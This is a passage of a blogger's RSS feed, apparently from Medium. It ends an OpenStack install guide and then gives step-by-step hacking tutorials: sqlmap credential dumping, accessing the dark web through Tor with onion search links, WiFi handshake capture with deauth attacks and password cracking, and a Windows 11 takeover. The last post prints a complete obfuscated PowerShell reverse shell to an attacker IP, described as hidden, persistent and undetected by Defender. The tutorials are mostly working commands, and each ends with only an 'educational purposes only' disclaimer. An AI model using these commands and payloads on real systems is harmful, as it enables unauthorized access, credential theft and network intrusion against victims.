settings</p><ul><li>The second network adapter will be a <strong>HOST-only</strong> setting.</li><li>The third network adapter will be a <strong>bridged </strong>connection.</li></ul><p>Make sure to match the configuration with the first screenshot at the top of this article. Name your VM and set the username and password for your CentOS login screen. Leave the other settings as they are. Close the settings and then turn on your VM. The installation process of CentOS is fully automated.</p><p>Please ensure that your internet is working properly and that all adapters are functioning correctly. You can check them from the VMware Status bar or the Network panel of CentOS. Currently, ens224 is turned off.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/305/1*COrIO8CZPdYLje-vJVP4wg.png" /></figure><blockquote><strong>CentOS</strong></blockquote><p>On your terminal, and get root access. Now use this Command for OpenStack local hostname.</p><pre>su<br>hostnamectl set-hostname openstackio --static </pre><p><strong>openstackio</strong> is the name. You can use any name of your choice. This execution of the command will set the local hostname only.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/1*jZVKu9vAcWnXOQMFIEcYVQ.png" /></figure><p>To configure your IP with your local host. I use an ens160 IP address. Use the command to map your IP to the local host. The name for the local host should be the same as set in the previous command. Then use the cat command with directories to verify your mapping:</p><pre>echo &quot;192.168.186.131 openstackio&quot; &gt;&gt; /etc/hosts<br>cat /etc/hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*MV5BAooNYFXF1IRXzvEwMw.png" /></figure><p>Now use these Commands:</p><pre>setenforce 0 <br>sed -i &#39;s/^SELINUX=.*/SELINUX=disabled/g&#39; /etc/selinux/config</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/1*2y7xLnBmD3IAFPa7uJgq1A.png" /></figure><p>Now use following command the following command to install network</p><pre>scripts dnf install network-scripts -y</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*nAwlDOPDzcWghTRgBx9tnA.png" /></figure><p>Upon completing this, the following output will be displayed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*TSiKHBo49H_0WhG-_NeA1Q.png" /></figure><p>Now use the following back-to-back commands.</p><pre>systemctl disable --now firewalld NetworkManager <br>systemctl enable --now network <br>dnf -y install lvm2</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*BznOvjig3tcChicgCvtkTA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*xatO950zUCdv4pRDm8_TFw.png" /></figure><p>Upon completing this, the following output will be displayed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*eTrB2dg4d2z0bC8byrMzKQ.png" /></figure><p>Now use the following command to check the size and space of the hard drive you added in your VM configuration.</p><pre>fdisk -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*DwqCAqu4_HgNXLA3OQRj-Q.png" /></figure><p>Now use these commands for more configuration making tables and groups in free space.</p><pre>pvcreate -f /dev/nvme0n2<br>pvs <br>vgcreate -f cinder-volumes /dev/nvme0n2 <br>vgs <br>mkfs.ext4 /dev/nvme0n3 <br>mkfs.ext4 /dev/nvme0n4</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*Cepyiiyv5EUHj3BywZgrzQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*AiJxYJ4xYSkJbEr2SlGm4w.png" /></figure><p>Now use this Command:</p><pre>yum install dnf-plugins-core</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*Kn92jc7_m_b5v1RNUp1O_Q.png" /></figure><p>Upon completing this, the following output will be displayed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*bTTjK7-CW2fWwmYfuGFy_Q.png" /></figure><p>Then use the following command to enable some power tools etc.</p><pre>yum config-manager --set-enabled powertools<br>dnf install -y centos-release-openstack-train</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*l8q5yPXbChStl7F6Vxtebw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*2l1BgymI6Q40AAcOn5rA7g.png" /></figure><p>After this, we will utilize the following command to install the necessary and additional packages, which will take some time.</p><pre>dnf update –y</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*-9-gnU7pC23wePuvRo7slQ.png" /></figure><p>Upon completing this, the following output will be displayed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/467/1*8mtzF2pIGQ7M3zoRAgqFUg.png" /></figure><p>Now it’s time to install OpenStack. Use the following command to install OpenStack. It will also take some time to download and install packages. Also you need some changes in the configuration file in <strong>yum.repos.d</strong></p><pre>dnf install -y openstack-packstack</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*mKSYO-TokJs0ZLvJhjRznA.png" /></figure><p>Upon completing this, the following output will be displayed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*BJT_9VawkVFEuxpcqVXDPQ.png" /></figure><p>Now use these commands to allow access to file of Configuration.</p><pre>packstack --gen-answer-file=answer.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*bcy7s0vI9EGZWPrjf_eACg.png" /></figure><p>Now, use <strong>nano </strong>to edit the configuration file <strong>answer.txt</strong>. Search and make changes to the following lines. Use <strong>ctrl+w </strong>to search and arrows to move the cursor.</p><ul><li>CONFIG_DEFAULT_PASSWORD=admin123</li><li>CONFIG_HEAT_INSTALL=y</li><li>CONFIG_MAGNUM_INSTALL=y</li><li>CONFIG_SSL_CERT_DIR=~/packstackca/</li><li>CONFIG_SSL_CACERT_SELFSIGN=y</li><li>CONFIG_SSL_CERT_SUBJECT_C=ID</li><li>CONFIG_SSL_CERT_SUBJECT_ST=Punjab</li><li>CONFIG_SSL_CERT_SUBJECT_L=Islamabad</li><li>CONFIG_KEYSTONE_ADMIN_PW=admin123</li><li>CONFIG_CINDER_VOLUMES_CREATE=n</li><li>CONFIG_NEUTRON_OVN_BRIDGE_MAPPINGS=extnet:br-ex</li><li>CONFIG_NEUTRON_OVN_BRIDGE_IFACES=br-ex:ens160</li><li>CONFIG_NEUTRON_OVN_BRIDGES_COMPUTE=br-ex</li><li>CONFIG_NOVA_LIBVIRT_VIRT_TYPE=qemu</li><li>CONFIG_HORIZON_SSL=y</li><li>CONFIG_SWIFT_STORAGES=/dev/nvme0n3,/dev/nvme0n4</li><li>CONFIG_SWIFT_STORAGE_REPLICAS=2</li><li>CONFIG_SWIFT_STORAGE_FSTYPE=ext4</li><li>CONFIG_PROVISION_DEMO=n</li></ul><p><strong>admin123</strong> is a sample password. You can use a password of your choice. Press <strong>Ctrl+X</strong> to save and quit the file, then <strong>press Y</strong> to ensure that the file is written successfully and saved. After that, use this command. It will take a bit longer to complete the configuration we have just done.</p><pre>packstack --answer-file=answer.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*-I_GXN4SMlv_NkFzx699vw.png" /></figure><p>Upon completing this, the following output will be displayed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*lHuFk6QUh1LfpFrOdL7GjQ.png" /></figure><p>Run the final command.</p><pre>dnf install -y wget</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*UjdPWMkSnuWIgC59xhMkvQ.png" /></figure><p>You can access your OpenStack on your browser using:</p><pre>https://192.168.186.131/dashboard</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TzANYZxX3TE4Z9f1NuWjtQ.jpeg" /></figure><blockquote><strong>Note:</strong></blockquote><p>Please make sure to use your <strong>own IP</strong> to access your OpenStack Dashboard. When prompted for login credentials at the OpenStack login screen, use the following:<br><strong>Username</strong>: admin<br><strong>Password</strong>: admin123 (use your own password as per your setup)</p><p>After logging in, you will see the following screen in your browser.</p><p><strong>Thank You</strong> for reading this article. I hope that you have found this information provided to be valuable and helpful. 🙂</p><p><strong>RADEEL AHMAD</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c1e62a16be54" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQL Injection Attack Using sqlmap Tool]]></title>
            <link>https://radeel-a20.medium.com/sql-injection-attack-using-sqlmap-tool-eda9e8f69beb?source=rss-1c9abff0266a------2</link>
            <guid isPermaLink="false">https://medium.com/p/eda9e8f69beb</guid>
            <category><![CDATA[sql-injection-attack]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[sqlmap]]></category>
            <dc:creator><![CDATA[Radeel Ahmad]]></dc:creator>
            <pubDate>Mon, 29 Apr 2024 05:12:39 GMT</pubDate>
            <atom:updated>2024-05-12T08:30:43.449Z</atom:updated>
            <content:encoded><![CDATA[<p>In this article, I’ll elaborate on a step-by-step method of using the <strong>sqlmap tool</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ecqFbcO4qzlnnItgVYjwHQ.png" /></figure><p>We will attack the sample website, not the live website. Therefore, it would be illegal to try on somebody else’s website. It would be best if you tried it on your website; otherwise, you can try it on a sample website.</p><blockquote><strong><em>Requirements</em></strong></blockquote><ul><li>Kali Linux Machine (attacking machine)</li><li>sqlmap tool</li></ul><p><strong>Let’s Start…..</strong></p><ul><li>Open browser</li><li>Type:</li></ul><pre>Vulnweb.com</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RpNLi2p5oHjVFFjTsOqVZg.png" /></figure><p>As you can see on the screen, there are four links available. I used the link for<strong> ‘acuart</strong>’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g25cWM0stlKOO-RYMj1mEA.png" /></figure><p>Here, we want to find the username and password.</p><ul><li>Copy the link</li><li>Open new tab</li><li>Type:</li></ul><pre>site:&lt;paste-website-link&gt; php?id=</pre><p>It will help you to find the links.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gN-2x7x0KuWlnKIJfEkFCg.png" /></figure><pre>http://testphp.vulnweb.com/artists.php?artist=1</pre><p>You see that this type of link is what we need to attack. So, copy it.</p><ul><li>Open the terminal of the Kali Linux machine.</li><li>Type:</li></ul><pre>sqlmap -u &lt;paste-link&gt; --dbs</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*vvTuk0-lWWzj_StaFRnClQ.png" /></figure><p>You see, we have two databases here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/349/1*00WZUrZrfzBMqN0WySOJYw.png" /></figure><p><strong>Information_schema</strong> is the default database; we will use the accuratedatabase to find the number of tables.</p><ul><li>Type:</li></ul><pre>sqlmap -u &lt;paste_link&gt; -D acuart --tables</pre><p>After running this command, it shows the <strong>table names</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/157/1*k8QToFTTNQHulkBO4XBMyg.png" /></figure><p>I will use the <strong>users’</strong> table name to find the number of columns.</p><ul><li>Type:</li></ul><pre>sqlmap -u &lt;Link&gt; -D accurate -T users --columns</pre><p>After running this command, it shows the column name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/238/1*A4pj78lrGOAYJj22YCP4Eg.png" /></figure><p>I will use the <strong>name</strong> table name to find the username.</p><ul><li>Type:</li></ul><pre>sqlmap -u &lt;link&gt; -D acuart -T users -C uname --dump</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/138/1*dXRdOGuT4_2-rGWZHwCzuQ.png" /></figure><p>You see, it will give us the username.</p><p>So, again, I will use the <strong>pass</strong> table name to find the password.</p><ul><li>Type:</li></ul><pre>sqlmap -u &lt;link&gt; -D accurate -T users -C pass --dump</pre><p>You see, it will give us the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/165/1*thHX2AVhaI5g8HPpMVXhdg.png" /></figure><p><em>You see that the username and password were found and cracked successfully</em><strong><em>.</em></strong></p><p><strong>Thank You</strong> for reading this article. I hope that you have found this information provided to be valuable and helpful. Use it for educational purposes only…. 🙂</p><p><strong>RADEEL AHMAD</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*ehrSwvY_wP4llIibWImPVg.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eda9e8f69beb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Accessing Dark Web]]></title>
            <link>https://radeel-a20.medium.com/assessing-dark-web-a6363650a1bb?source=rss-1c9abff0266a------2</link>
            <guid isPermaLink="false">https://medium.com/p/a6363650a1bb</guid>
            <category><![CDATA[dark-web-link]]></category>
            <category><![CDATA[how-to-access-dark-web]]></category>
            <category><![CDATA[access-dark-web]]></category>
            <dc:creator><![CDATA[Radeel Ahmad]]></dc:creator>
            <pubDate>Wed, 24 Apr 2024 14:52:01 GMT</pubDate>
            <atom:updated>2024-05-12T08:31:32.604Z</atom:updated>
            <content:encoded><![CDATA[<p>In this article, I’ll elaborate on a step-by-step method for accessing the dark web<strong>.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*KEwYI1gTNrRh9TPpk7J8nw.jpeg" /></figure><blockquote><strong>Being Anonymous</strong></blockquote><ul><li>Tails OS</li><li>TOR Browser</li><li>Hotspot WiFi (Not use Public WiFi)</li><li>OpenPGP for email (For email security)</li><li>Bitcoin</li><li>Burner or non-personal laptop</li><li>Never share personal info.</li></ul><p><strong>Let’s Start…..</strong></p><blockquote><strong>Installing Tor In Windows</strong></blockquote><ul><li>First, you need to go to your browser.</li><li>Search <a href="https://www.torproject.org/download/">Tor Browser Download</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*otHLZh8tKurukWadFzbUfQ.png" /></figure><ul><li>Click on the first link.</li><li>Click on <strong>Download For Windows</strong></li></ul><blockquote><strong>Installing Tor In Linux (Tails OS)</strong></blockquote><ul><li>Open terminal</li><li>Type:</li></ul><pre>sudo apt upgrade<br>sudo apt update<br>sudo apt install tor browser-launcher<br>tor browser-launcher</pre><h3><strong>proxy chains</strong></h3><ul><li>A Proxifier</li><li>Tunnel TCP and DNS through proxies</li><li>Support HTTP. SOCKS4, SOCKS5</li><li>Can proxy SSH, FTP, apt, and Nmap through a proxy server</li></ul><blockquote><strong>Installing Proxychain and getting started</strong></blockquote><ul><li>Open terminal</li><li>Type:</li></ul><pre>sudo service tor status</pre><p>check the active status of tor (active)</p><ul><li>Again type:</li></ul><pre>Sudo nano /etc/proxychains4.conf</pre><ul><li>Remove the hash from the dynamic_chain, add the hash before the strict_chain, and go below.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*LZjRv3KznJpsrrHH4RLC6g.png" /></figure><ul><li>You may notice “<strong>socks 4</strong>“ written. We have added <strong>socks5</strong> below <strong>Socks4</strong> with the same <strong>IP</strong> and <strong>port number</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/209/1*j8gGLtEsSg9CXaK0rZ8P6Q.png" /></figure><ul><li>Press ctrl+x and then type Y and press enter</li></ul><p><strong>Let’s Test it</strong></p><ul><li>Again type:</li></ul><pre>Proxy chains Firefox google.com</pre><p>By typing this, google opens up.</p><h3><strong>Accessing Dark Web</strong></h3><ul><li>Open Tor browser</li></ul><p>Browsing Links type</p><pre>Torch- Tor search Engine<br>HayStak<br>Tor Onionland</pre><p>For Torch</p><pre>http://xmh57jrknzkhv6y31s3ubitzfqnkrwxhopf5aygthi7d6rplyvk3noyd.onion</pre><p>For Tor Onionland</p><pre>http://3bbad7fauom4d6sgppalyqddsqbf5u5p56b5k5uk2zxsy3d6ey2jobad.onion</pre><p>For Haystak</p><pre>http://haystakvxad7wbk5.onion</pre><p>you can use any of these links, but I use Torch</p><ul><li>Copy any of the URLs and write in the Tor browser (you see 898,385 documents)</li></ul><p><strong>Thank You</strong> for reading this article. I hope that you have found this information provided to be valuable and helpful. Use it for educational purposes because it is a topic of great importance. The Dark Web is primarily used for illegal activities. <strong><em>So make sure you never do any illegal activity on the dark web</em></strong>. 🙂</p><p><strong>RADEEL AHMAD</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*ehrSwvY_wP4llIibWImPVg.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a6363650a1bb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacking Wifi Using a Network Adapter]]></title>
            <link>https://radeel-a20.medium.com/hacking-wifi-using-network-adapter-8d30c26d791c?source=rss-1c9abff0266a------2</link>
            <guid isPermaLink="false">https://medium.com/p/8d30c26d791c</guid>
            <category><![CDATA[wifihacking]]></category>
            <category><![CDATA[wifi-cracking]]></category>
            <dc:creator><![CDATA[Radeel Ahmad]]></dc:creator>
            <pubDate>Wed, 21 Feb 2024 12:21:08 GMT</pubDate>
            <atom:updated>2024-07-16T18:54:22.698Z</atom:updated>
            <content:encoded><![CDATA[<p>In this article, I’ll elaborate on a step-by-step method to hack WIFI using a network adapter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iBMtHeq1muLSOycxQ4KChw.jpeg" /></figure><blockquote><strong>Requirements</strong></blockquote><ul><li>Kali Linux Machine (attacking machine)</li><li>Network Adapter</li></ul><p><strong>Let’s Start…..</strong></p><p>The network adapter I am using for this attack demo is <strong>Alpha’s AWUS036H.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wwNGhD_c3zwNuk9FXvH0rg.jpeg" /></figure><p>After connecting the network adapter, open the Kali Linux machine and write the followingcommand on the terminal.</p><pre>iwconfig</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*V1kfABI5fDHV-dV5-Gt3WA.png" /></figure><p>When we connect the adapter, you’ll see the wlan0 interface on your terminal screens. To change the mode to <strong><em>Monitor Mode, </em></strong>use the following command.</p><pre>sudo airmon-ng start wlan0 </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*Sw2_Nty3JhqArPCnd5QPvA.png" /></figure><p>Again, use the command mentioned below to verify the monitor mode.</p><pre>iwconfig</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*_NX-R7al5GVjgo-TluSlVA.png" /></figure><p>As you can see, the mode has been changed. Now, use the airodump-ng tool to capture wireless network traffic on the specified interface.</p><pre>sudo airodump-ng wlan0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*GvrF5MUuFKORpXpfx0hcmQ.png" /></figure><p>It will display information about nearby <strong>WiFi Networks</strong>. Our intended interface is <strong>Alvish Bhaii. Then, </strong>copy the <strong>BSSID</strong>.</p><p>The Following command tells us how many devices are connected tothis Network interface.</p><pre>sudo airodump-ng wlan0 -d &lt;mac-address&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*fkLxeDTwSPHOWVBgoFQbAw.png" /></figure><p>Remember, WiFi Networks always occupy a limited radius of the area. So, you should be within that radius to discover the WiFi network. The next step is to capture the handshake, using the death<strong><em> attack</em></strong>.</p><pre>sudo airodump-ng -w &lt;filename&gt; –c 1 --bssid &lt;target-mac&gt; wlan0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*B3OMteCVJfsPHHBv1JJhKA.png" /></figure><p>In this attack, we save the handshake in a .pcap file. The next step is the death attack: We open another terminal and type the following command.</p><pre>sudo aireplay-ng -–deauth 0 -a &lt;target-mac&gt; wlan0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*bvGlVRDJK0d--zyFsnVx8w.png" /></figure><p>If a disconnected client tries to connect with the wifi, they generate a four-way handshake.</p><p><strong>What is a four-way handshake?</strong></p><blockquote>A four-way handshake is a message exchange between an access point and the client device.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*he8Gwwwq01sTOBaMUtJO5g.png" /></figure><p>Now, you see that it captures the handshake. Type in the <strong><em>ls</em></strong> command to see the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*xs1neBWtOMvGcKkC5kYZBA.png" /></figure><p>In our attack method, we are going to crack the password in our test-01.cap in encrypted form. The cracking is totally offline; we don’t need an internet connection or Wi-Fi adapter for it. We’ll use their crack toolto crack the password.</p><pre>aircrack-ng &lt;filename.cap&gt; -w /usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*X7go426BnQ3p3QKbK_GM7Q.png" /></figure><p><em>You see that the key is found and cracked</em><strong><em> Successfully.</em></strong></p><p><strong>Thank You</strong> for reading this article. I hope that you have found this information provided to be valuable and helpful. Use it for educational purpose only…. 🙂</p><p><strong>RADEEL AHMAD</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*ehrSwvY_wP4llIibWImPVg.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8d30c26d791c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacking Window 11 Using PowerShell Script]]></title>
            <link>https://radeel-a20.medium.com/hacking-window-11-using-powershell-script-45f088a037da?source=rss-1c9abff0266a------2</link>
            <guid isPermaLink="false">https://medium.com/p/45f088a037da</guid>
            <category><![CDATA[windows-hacks]]></category>
            <category><![CDATA[windows-hacking]]></category>
            <dc:creator><![CDATA[Radeel Ahmad]]></dc:creator>
            <pubDate>Tue, 09 Jan 2024 15:43:10 GMT</pubDate>
            <atom:updated>2024-05-12T08:33:16.881Z</atom:updated>
            <content:encoded><![CDATA[<p>In this article, I’ll elaborate on how to hack Windows 11 Pro using PowerShell Script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LDwexyqu3RNP83JFfPHKRA.jpeg" /></figure><blockquote><strong>Requirements</strong></blockquote><ul><li>Kali Linux Machine (attacking machine)</li><li>Windows 11 (victim machine)</li><li>Villain (In Kali Machine)</li></ul><p><strong>Let’s Start…..</strong></p><p>Open Kali machine and open Firefox, then download the <strong>Villain</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F40h8mWS2mBM9J-NG6gr5A.png" /></figure><p>Now, open Villain after downloading.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/205/1*bWf90OLQDSwsznMcI-547w.png" /></figure><p>Install the requirement for the tool using the following command.</p><pre>pip3 install -r requirements.txt</pre><p>After the installation, we start the villain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*VWexpwyTToWeaQoaPipu6Q.png" /></figure><p>command: <strong>python3 Villain.py</strong></p><blockquote><strong>Important</strong></blockquote><p>The villain is a Windows and Linux backdoor generator and multi-session handler that allows users to connect with sibling servers (other machines running Villain) and share their backdoor sessions, which is handy for working as a team.</p><p>Villain has a built-in auto-obfuscate payload function to assist users bypassing AV solutions (for Windows payloads). As a result, payloads are undetected (for the time being).</p><blockquote><strong>Victim side</strong></blockquote><p>We run the script in the Powers Shell of the victim’s system (Window 11 Pro)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SMH55EpygUtXO8FDx8oO4w.png" /></figure><pre>Start-Process $PSHOME\powershell.exe -ArgumentList {$client = N&#39;&#39;e&quot;&quot;w-O&#39;b&#39;je&quot;c&quot;t System.Net.Sockets.TCPClient(&#39;YOUR IP&#39;,4443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (N&#39;&#39;e&#39;w&#39;-O&#39;&#39;b&quot;&quot;je&#39;c&#39;t -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (i&#39;&#39;e&quot;&quot;x $data 2&gt;&amp;1 | O&quot;&quot;u&#39;&#39;t-S&#39;&#39;t&quot;&quot;ring );$sendback2 = $sendback + &#39;PS &#39; + (p&quot;&quot;w&#39;&#39;d).Path + &#39;&gt; &#39;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()} -WindowStyle Hidden</pre><p>In this script enter the IP of your kali machine by using<strong> ifconfig</strong> command you see the IP of kali machine.</p><p>Fully updated. Windows 11. Everything is turned on for Defender protection and the firewall. Please check the screenshots below for confirmation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rCiZmrTXol41FWjChuLmKw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*admhmA7KV3RirDxE1taGtw.png" /></figure><blockquote><strong>In Kali Linux</strong></blockquote><p>After you enter the script, press Enter, and BOOM 🤯! Just kidding, nothing significant will happen on the victim’s machine. However, you will observe a session opening on your terminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*rOI7TpTSitZZxYv0XBn4aw.png" /></figure><p>Here we can see ‘<strong>Session ID</strong>’ — ‘<strong>IP Address</strong>’ — ‘<strong>OS Type</strong>’ — ‘<strong>User</strong>’ — ‘<strong>Status.’</strong></p><p>Using the ‘<strong>shell + session ID’</strong> command allows you to gain control over the victim’s computer andexecute various commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/415/1*gizY0-poDyhFspEGrG0I0w.png" /></figure><p>We use <strong>systeminfo </strong>command to see the detail of victim’s machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*IzV9Ga7qsRg8UGZmehHb7Q.png" /></figure><p><em>WE SUCCESSFULLY EXPLOIT VULNERABILITIES WITHIN THE WINDOWS 11 PRO OPERATING SYSTEM TO GAIN UNAUTHORIZED ACCESS </em>😈.</p><blockquote><strong>Essential Things You Must Know ⚠</strong></blockquote><p>1- If the victim closes the PowerShell, it won’t stop the reverse shell.</p><p>2- The PowerShell command remains hidden and isn’t detected by Defender and other advanced antivirus programs.</p><p><strong>Thank You</strong> for reading this article. I hope that you have found this information provided to be valuable and helpful. Use it for educational purpose only…. 🙂</p><p><strong>RADEEL AHMAD</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*ehrSwvY_wP4llIibWImPVg.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=45f088a037da" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>